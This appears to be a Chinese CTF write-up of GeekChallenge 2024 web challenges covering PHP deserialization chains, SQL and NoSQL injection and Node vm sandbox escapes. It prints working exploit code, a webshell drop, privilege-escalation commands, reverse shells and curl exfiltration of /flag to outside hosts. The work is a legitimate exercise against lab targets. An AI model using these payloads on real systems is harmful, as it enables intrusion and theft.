] ) def jump (): return redirect("login" ) if __name__ == "__main__" : app.run(debug=False ,host="0.0.0.0" ,port=80 )
这道题的jwt很像网鼎杯青龙的那道题有意思剩下的明天做
PHP不比java差 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_file (__FILE__ );error_reporting (0 );include "secret.php" ;class Challenge { public $file ; public function Sink ( ) { echo "<br>!!!A GREAT STEP!!!<br>" ; echo "Is there any file?<br>" ; if (file_exists ($this ->file)){ global $FLAG ; echo $FLAG ; } } } class Geek { public $a ; public $b ; public function __unserialize (array $data ): void { $change =$_GET ["change" ]; $FUNC =$change ($data ); $FUNC (); } } class Syclover { public $Where ; public $IS ; public $Starven ; public $Girlfriend ; public function __toString ( ) { echo "__toString is called<br>" ; $eee =new $this ->Where ($this ->IS); $fff =$this ->Starven; $eee ->$fff ($this ->Girlfriend); } } unserialize ($_POST ['data' ]);
首先我们锁定__unserialize()
,因为前几天做到过,FFI的学习的时候
__unserialize()
是 PHP 中的一个魔术方法,用于在反序列化对象时自动调用。反序列化是将一个序列化字符串转换为 PHP 变量的过程,而这个过程在对象的情况下会调用该对象的 __unserialize()
方法。
当 __serialize 方法存在时,参数为 __serialize 的返回数组;当 __serialize 方法不存在时,参数为实例对象的所有属性值组合而成的数组
emm但是还是不够熟悉下一步咋触发我就不知道了,我们写个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class MyClass { public $name ; public $value ; public function __construct ($name , $value ) { $this ->name = $name ; $this ->value = $value ; } public function __unserialize (array $data ) { echo "Unserializing object...\n" ; print_r ($data ); $this ->name = $data ['name' ]; $this ->value = $data ['value' ]; } public function __destruct ( ) { echo "Destructing object...\n" ; } } $originalObject = new MyClass ("Example" , 123 );$serializedObject = serialize ($originalObject );$unserializedObject = unserialize ($serializedObject );
这里反序列化之后直接跳转的__unserialize
所以就是这个方法肯定触发而且还比destruct快,而对于$FUNC();
,这里写个demo可以知道如果用数组可以直接触发其中方法
1 2 3 4 5 6 7 8 <?php class Geek { public function test ( ) { echo "test" ; } } $a =array (new Geek (),"test" );$a ();
那么我们现在就可以触发Sink
了,只不过还需要找一个函数可以把这个$FUNC能变成数组的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class Challenge { public $file ; public function Sink ( ) { echo "<br>!!!A GREAT STEP!!!<br>" ; echo "Is there any file?<br>" ; if (file_exists ($this ->file)){ global $FLAG ; echo $FLAG ; } } } class Geek { public $a ; public $b ; public function __unserialize (array $data ): void { $change =$_GET ["change" ]; $FUNC =$change ($data ); $FUNC (); } } $a =new Geek ();$a ->a=new challenge ();$a ->a->file="secret.php" ;$a ->b="Sink" ;echo serialize ($a );
1 Geek::unserialize->Challenge::Sink->Syclover::toString
原生类调用函数
1 2 3 4 5 6 7 8 9 10 11 <?php function title ($title , $name ) { return sprintf ("%s. %s\r\n" , $title , $name ); } $function = new ReflectionFunction ('title' );echo $function ->invokeArgs (array ('Dr' , 'Phil' ));?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class Challenge { public $file ; } class Geek { public $a ; public $b ; } class Syclover { public $Where ; public $IS ; public $Starven ; public $Girlfriend ; } $a =new Geek ();$a ->a=new challenge ();$a ->b="Sink" ;$a ->a->file=new Syclover ();$a ->a->file->Where="ReflectionFunction" ;$a ->a->file->IS="system" ;$a ->a->file->Starven="invokeArgs" ;$a ->a->file->Girlfriend=array ('echo "PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="|base64 -d > shell.php' );echo serialize ($a );
然后suid提权就可以了
1 2 3 find / -perm -u=s -type f 2>/dev/null system("/bin/bash -c 'exec bash -i &>/dev/tcp/156.238.233.93/9999 <&1'"); file -f /flag
不过这里还是有点插曲的,我用命令弹shell始终没有成功,后面我索性直接写个文件来弹就成功了
1 2 3 <?php system ("/bin/bash -c 'exec bash -i >& /dev/tcp/156.238.233.93/9999 <&1'" );?>
not_just_pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php highlight_file (__FILE__ );ini_get ('open_basedir' );class lhRaMK7 { public $Do ; public $You ; public $love ; public $web ; public function __invoke ( ) { echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?" ."<br>" ; eval ($this ->web); } public function __wakeup ( ) { $this ->web=$this ->love; } public function __destruct ( ) { die ($this ->You->execurise=$this ->Do); } } class Parar { private $execurise ; public $lead ; public $hansome ; public function __set ($name ,$value ) { echo $this ->lead; } public function __get ($args ) { if (is_readable ("/flag" )){ echo file_get_contents ("/flag" ); } else { echo "还想直接读flag,洗洗睡吧,rce去" ."<br>" ; if ($this ->execurise=="man!" ) { echo "居然没坠机" ."<br>" ; if (isset ($this ->hansome->lover)){ phpinfo (); } } else { echo ($this ->execurise); echo "你也想被肘吗" ."<br>" ; } } } } class Starven { public $girl ; public $friend ; public function __toString ( ) { return "试试所想的呗,说不定成功了" ."<br>" .$this ->girl->abc; } public function __call ($args1 ,$args2 ) { $func =$this ->friend; $func (); } } class SYC { private $lover ; public $forever ; public function __isset ($args ) { return $this ->forever->nononon (); } } $Syclover =$_GET ['Syclover' ];if (isset ($Syclover )) { unserialize (base64_decode ($Syclover )); throw new Exception ("None" ); }else { echo ("怎么不给我呢,是不喜欢吗?" ); }
GC绕过,然后emm看看链子触发
1 lhRaMK7::destruct->Parar::set->Strven::toString->Parar::get->SYC::isset->Strven::call->lhRaMK7::invoke
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class lhRaMK7 { public $Do ; public $You ; public $love ; public $web ; } class Parar { private $execurise ="man!" ; public $lead ; public $hansome ; } class Starven { public $girl ; public $friend ; } class SYC { private $lover ="abc" ; public $forever ; } $a =new lhRaMK7 ();$a ->You=new Parar ();$a ->You->lead=new Starven ();$a ->You->lead->girl=new Parar ();$a ->You->lead->girl->hansome=new SYC ();$a ->You->lead->girl->hansome->forever=new Starven ();$a ->You->lead->girl->hansome->forever->friend=new lhRaMK7 ();$a ->You->lead->girl->hansome->forever->friend->love="echo 1;" ;$b =array (0 =>$a ,1 =>null );$c =str_replace ("i:1;N;}" ,"i:0;N;}" ,$b );echo base64_encode (serialize ($b ));
终于是成功了啊,给我类似了
反正咋也不懂,挨着试试就知道用这个
1 2 sudo -l sudo env bash -c 'tac /flag'
ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php Class SYC{ public $starven ; public function __call ($name , $arguments ) { if (preg_match ('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i' ,$this ->starven)){ die ('no hack' ); } file_put_contents ($this ->starven,"<?php exit();" .$this ->starven); } } Class lover{ public $J1rry ; public $meimeng ; public function __destruct ( ) { if (isset ($this ->J1rry)&&file_get_contents ($this ->J1rry)=='Welcome GeekChallenge 2024' ){ echo "success" ; $this ->meimeng->source; } } public function __invoke ( ) { echo $this ->meimeng; } } Class Geek{ public $GSBP ; public function __get ($name ) { $Challenge = $this ->GSBP; return $Challenge (); } public function __toString ( ) { $this ->GSBP->Getflag (); return "Just do it" ; } } if ($_GET ['data' ]){ if (preg_match ("/meimeng/i" ,$_GET ['data' ])){ die ("no hack" ); } unserialize ($_GET ['data' ]); }else { highlight_file (__FILE__ ); }
这里进来看到要绕过exit
,链子的话还是简单不少
1 lover::destruct->Geek::get->lover::invoke->Geek::toString->SYC::call
这里死亡绕过的话,我找了找资料基本是不能直接写马的,只能用htaccess进行预包含或者是url二次编码绕过
1 2 3 php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess php://filter/write=string.%7%32ot13|<?cuc cucvasb();?>|/resource=shell.php
利用协议去包含/flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php Class SYC{ public $starven ; } Class lover{ public $J1rry ="data://text/plain,Welcome GeekChallenge 2024" ; public $meimeng ; } Class Geek{ public $GSBP ; } $a =new lover ();$a ->meimeng=new Geek ();$a ->meimeng->GSBP=new lover ();$a ->meimeng->GSBP->meimeng=new Geek ();$a ->meimeng->GSBP->meimeng->GSBP=new SYC ();$a ->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess" ;$b =serialize ($a );$c =str_replace ("s:7:\"meimeng\";" ,"S:7:\"\\6deimeng\";" ,$b );echo $b ."\n" ;echo urlencode ($c )."\n" ;
rce_me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php header ("Content-type:text/html;charset=utf-8" );highlight_file (__FILE__ );error_reporting (0 );if (!is_array ($_POST ["start" ])) { if (!preg_match ("/start.*now/is" , $_POST ["start" ])) { if (strpos ($_POST ["start" ], "start now" ) === false ) { die ("Well, you haven't started.<br>" ); } } } echo "Welcome to GeekChallenge2024!<br>" ;if ( sha1 ((string ) $_POST ["__2024.geekchallenge.ctf" ]) == md5 ("Geekchallenge2024_bmKtL" ) && (string ) $_POST ["__2024.geekchallenge.ctf" ] != "Geekchallenge2024_bmKtL" && is_numeric (intval ($_POST ["__2024.geekchallenge.ctf" ])) ) { echo "You took the first step!<br>" ; foreach ($_GET as $key => $value ) { $$key = $value ; } if (intval ($year ) < 2024 && intval ($year + 1 ) > 2025 ) { echo "Well, I know the year is 2024<br>" ; if (preg_match ("/.+?rce/ism" , $purpose )) { die ("nonono" ); } if (stripos ($purpose , "rce" ) === false ) { die ("nonononono" ); } echo "Get the flag now!<br>" ; eval ($GLOBALS ['code' ]); } else { echo "It is not enough to stop you!<br>" ; } } else { echo "It is so easy, do you know sha1 and md5?<br>" ; } ?>
首先strpos
,直接传入即可,弱比较0e绕过
1 2 3 4 5 6 7 Geekchallenge2024_bmKtL md5: 0e073277003087724660601042042394 10932435112 sha1: 0e07766915004133176347055865026311692244
intval绕过10e9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /?year=10e9&purpose=rce&code=echo%20`tac%20/flag`; HTTP/1.1 Host : 80-fdc728c1-2099-47d0-a7df-5f37c22ca15c.challenge.ctfplus.cnContent-Length : 54Pragma : no-cacheCache-Control : no-cacheOrigin : http://80-fdc728c1-2099-47d0-a7df-5f37c22ca15c.challenge.ctfplus.cnContent-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://80-fdc728c1-2099-47d0-a7df-5f37c22ca15c.challenge.ctfplus.cn/?year=10e9&purpose=rce&code=echo%20`tac%20/flag`;Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Connection : closestart=start+now&_%5B2024 .geekchallenge.ctf=10932435112
funnySQL 说了字母全是小写,那我猜就是一个盲注了,fuzz一下,474是不准用,好多东西都被过滤了,但是看过狗神那篇文章的应该知道怎么绕过吧?
1 '||if((2>1),BENCHMARK(1000000000,md5('test')),1)#
那么就是开始注入了,但是or也被禁用了,这里我们使用另一个东西来查表,本来想的是直接查flag来猜结果没有成功
1 '||if((substr(database(),1,1)like's'),BENCHMARK(1000000000,md5('test')),1)#
依次类推
1 "'||if((substr(database(),{},1)like'{}'),BENCHMARK(10000,md5('test')),1)#" .format (i,s)
然后我发现这个设置的多的话延时太长了,然后稍微调整了一下不过空格被过滤之后每次我都容易写错,慢慢改没事
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport timeurl="http://80-e919e7c0-22d2-4a03-b525-6666bf8d7015.challenge.ctfplus.cn/index.php" strings="qwertyuiopasdfghjklzxcvbnm0123456789-{}QWERTYUIOPASDFGHJKLZXCVBNM" target="" for i in range (1 ,50 ): for s in strings: payload = "'||if((substr((select(*)from(Rea11ys3ccccccr3333t)),{},1)like'{}'),BENCHMARK(100000000,md5('test')),1)%23" .format (i, s) start_time = time.time() r=requests.get(url,params={'username' :payload}) end_time=time.time() if end_time-start_time > 0.5 : target+=s print (target) break
这个太难注了,搞着搞着,环境都不能在网页访问了
noSandbox 芒果db 这个东西nosql注入之前在Ctfshow里面做到过
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /login HTTP/1.1 Host : 3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cnContent-Length : 43User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Content-Type : application/jsonAccept : */*Origin : http://3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cnReferer : http://3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cn/loginAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Connection : close{"username" :{"$ne " :1},"password" :{"$ne " :1}}
1 2 3 4 5 6 7 8 9 10 11 12 HTTP/1.1 302 FoundDate : Mon, 02 Dec 2024 13:00:20 GMTContent-Type : text/plain; charset=utf-8Content-Length : 30Connection : closeX-Powered-By : ExpressSet-Cookie : token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3NGRhZjI2ZmI5YzIzNjQyMmQ4MWRlMSIsInVzZXJuYW1lIjoiSjFyclkiLCJpYXQiOjE3MzMxNDQ1MjUsImV4cCI6MTczMzE0ODEyNX0.e68jREZpirKOYri9KyEoYdFh9_dP5t083JXFvdy9yBs; Path=/; HttpOnlyLocation : /executeVary : AcceptCache-Control : no-cacheFound . Redirecting to /execute
访问之后把token弄上,就有框框了,那么审计代码了该
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 const vm = require ('vm' );function waf (code,res ) { let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m ; if (code.match (pattern)) { console .log ('WAF detected malicious code' ); res.status (403 ).send ('WAF detected malicious code' ); exit (); } } app.post ('/execute' , upload.none (), (req, res ) => { let code = req.body .code ; const token = req.cookies .token ; if (!token) { return res.status (403 ).send ('Missing execution code credentials.' ); } if (!jwt.verify (token, JWT_SECRET )) { return res.status (403 ).send ('Invalid token provided.' ); } console .log (`Received code for execution: ${code} ` ); try { waf (code,res); let sandbox = Object .create (null ); let context = vm.createContext (sandbox); let script = new vm.Script (code); console .log ('Executing code in sandbox context' ); script.runInContext (context); console .log (`Code executed successfully. Result: ${sandbox.result || 'No result returned.' } ` ); res.json ('Code executed successfully' ); } catch (err) { console .error (`Error executing code: ${err.message} ` ); res.status (400 ).send (`Error: there's no display back here,may be it executed successfully?` ); } });
这个不是很懂直接拿别的师傅的poc打了
1 2 3 4 5 6 7 8 9 10 11 12 throw new Proxy ({}, {get : function ( ){const test =`Process` .toLocaleLowerCase ();const exp =`child_Process` .toLocaleLowerCase ();const cc = arguments .callee .caller ;const p = (cc.constructor .constructor (`return ${test} ` ))();const obj = p.mainModule .require (`${exp} ` );const ex = Object .getOwnPropertyDescriptor (obj,`${`${`exe` } cSync` } ` );return ex.value (`curl http://g9q7bbsg1zzs0ke84axx2luwpnvdj2.oastify.com/ -T /flag` ).toString ();} })
成功了但是没有拿到回显,那么只能换一种方法了,或者说换个平台?
用这个平台,之前Ctfshow用来打xss的,外带其实也挺好用,就是没有bp顺手罢了
1 http://ceye.io/records/http
1 2 3 4 5 6 7 8 9 10 11 12 throw new Proxy ({}, {get : function ( ){const test =`Process` .toLocaleLowerCase ();const exp =`child_Process` .toLocaleLowerCase ();const cc = arguments .callee .caller ;const p = (cc.constructor .constructor (`return ${test} ` ))();const obj = p.mainModule .require (`${exp} ` );const ex = Object .getOwnPropertyDescriptor (obj,`${`${`exe` } cSync` } ` );return ex.value (`curl hrcgnc.ceye.io -T /flag` ).toString ();} })
1 2 3 4 5 6 7 8 9 throw new Proxy ({}, { get : function ( ) { const cc = arguments .callee .caller ; const p = (cc.constructor .constructor (`${`${`return proc` } ess` } ` ))(); const chi = p.mainModule .require (`${`${`child_proces` } s` } ` ); const res = Reflect .get (chi, `${`${`exe` } cSync` } ` )(`sleep 5` ); return res.toString (); } });
成功sleep但是如果要拿flag的话得改改payload(改了好久的),测了一会发现这样子直接nc监听是可以拿到flag的
1 2 3 4 5 6 7 8 9 10 11 12 throw new Proxy ({}, {get : function ( ){const test =`Process` .toLocaleLowerCase ();const exp =`child_Process` .toLocaleLowerCase ();const cc = arguments .callee .caller ;const p = (cc.constructor .constructor (`return ${test} ` ))();const obj = p.mainModule .require (`${exp} ` );const ex = Object .getOwnPropertyDescriptor (obj,`${`${`exe` } cSync` } ` );return ex.value (`curl http://38.22.92.200:9999/ -T /flag` ).toString ();} })
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 POST /execute HTTP/1.1 Host : 3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cnContent-Length : 564Pragma : no-cacheCache-Control : no-cacheUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Content-Type : multipart/form-data; boundary=----WebKitFormBoundary4BH9KtFU6HowVd7OAccept : */*Origin : http://3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cnReferer : http://3000-52233ec6-873c-4484-b58c-d32e85fb4261.challenge.ctfplus.cn/executeAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Cookie : token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY3NGRhZjI2ZmI5YzIzNjQyMmQ4MWRlMSIsInVzZXJuYW1lIjoiSjFyclkiLCJpYXQiOjE3MzMxNDg4NzEsImV4cCI6MTczMzE1MjQ3MX0.bWxo_zEF1gp435VJBEVL8mXBHJS3-Z3paf8TogpR5aIConnection : close------WebKitFormBoundary4BH9KtFU6HowVd7O Content -Disposition : form-data; name="code" throw new Proxy ({}, {get : function ( ){const test =`Process` .toLocaleLowerCase ();const exp =`child_Process` .toLocaleLowerCase ();const cc = arguments .callee .caller ;const p = (cc.constructor .constructor (`return ${test} ` ))();const obj = p.mainModule .require (`${exp} ` );const ex = Object .getOwnPropertyDescriptor (obj,`${`${`exe` } cSync` } ` );return ex.value (`curl http://156.238.233.9/shell.sh | bash` ).toString ();} })ls ------WebKitFormBoundary4BH9KtFU6HowVd7O --
1 2 #!/bin/bash /bin/bash -i >& /dev/tcp/156.238.233.9/4444 0>&1
写了挺久的哈哈,终于拿到了
escapeSandbox_PLUS 1 2 3 4 5 6 FROM node:18 -alpineWORKDIR /app COPY ./app /app COPY ./flag /flag EXPOSE 3000 CMD ["node" ,"/app/app.js" ]
拿到了Dockerfile但是不知道有什么作用,还有源码当然
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 const express = require ('express' );const bodyParser = require ('body-parser' );const session = require ('express-session' );const multer = require ('multer' );const { VM } = require ('vm2' );const crypto = require ('crypto' );const path = require ('path' );const app = express ();app.use (bodyParser.json ()); app.use (bodyParser.urlencoded ({ extended : true })); app.use (express.static (path.join (__dirname, 'public' ))); const sessionSecret = crypto.randomBytes (64 ).toString ('hex' );app.use (session ({ secret : sessionSecret, resave : false , saveUninitialized : true , })); const upload = multer ();app.post ('/login' , (req, res ) => { const { username, passwd } = req.body ; if (username.toLowerCase () !== 'syclover' && username.toUpperCase () === 'SYCLOVER' && passwd === 'J1rrY' ) { req.session .isAuthenticated = true ; res.json ({ message : 'Login successful' }); } else { res.status (401 ).json ({ message : 'Invalid credentials' }); } }); const isAuthenticated = (req, res, next ) => { if (req.session .isAuthenticated ) { next (); } else { res.status (403 ).json ({ message : 'Not authenticated' }); } }; app.post ('/execute' , isAuthenticated, upload.none (), (req, res ) => { let code = req.body .code ; let flag = false ; for (let i = 0 ; i < code.length ; i++) { if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\"." .split `` .some (v => v === code[i])) { flag = true ; code = code.slice (0 , i) + "*" + code.slice (i + 1 , code.length ); } } try { const vm = new VM ({ sandbox : { require : undefined , setTimeout : undefined , setInterval : undefined , clearTimeout : undefined , clearInterval : undefined , console : console } }); const result = vm.run (code.toString ()); console .log ('执行结果:' , result); res.json ({ message : '代码执行成功' , result : result }); } catch (e) { console .error ('执行错误:' , e); res.status (500 ).json ({ error : '代码执行出错' , details : e.message }); } }); app.get ('/' , (req, res ) => { res.sendFile (path.join (__dirname, 'public' , 'index.html' )); }); process.on ('uncaughtException' , (err ) => { console .error ('捕获到未处理的异常:' , err); }); process.on ('unhandledRejection' , (reason, promise ) => { console .error ('捕获到未处理的 Promise 错误:' , reason); }); setTimeout (() => { throw new Error ("模拟的错误" ); }, 1000 ); setTimeout (() => { Promise .reject (new Error ("模拟的 Promise 错误" )); }, 2000 ); app.listen (3000 , () => { console .log ('Server is running on port 3000' ); });
等会这里P牛写过一篇js大小写字母转换特性
P牛
其中混入了两个奇特的字符”ı”、”ſ”。
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。
同样,toLowerCase也有同样的字符:
这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.
那么先绕过登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /login HTTP/1.1 Host : 3000-224f02c4-e982-4a86-aa43-d3c1ec7ad825.challenge.ctfplus.cnContent-Length : 41User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Content-Type : application/jsonAccept : */*Origin : http://3000-224f02c4-e982-4a86-aa43-d3c1ec7ad825.challenge.ctfplus.cnReferer : http://3000-224f02c4-e982-4a86-aa43-d3c1ec7ad825.challenge.ctfplus.cn/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Cookie : connect.sid=s%3A_9hkPMui5yv9G_MMrWMLT7flOp2xv9eg.MrAYCNkWXUZnz4wbvpB8U99jCMbnk57XsNCVw5VUsqMConnection : close{ "username" : "ſyclover" , "passwd" : "J1rrY" }
然后就是沙箱逃逸,这玩意不看了,看着有点费神
0x03 小结 还是很好的题目,来来回回用碎片化时间搞了挺久的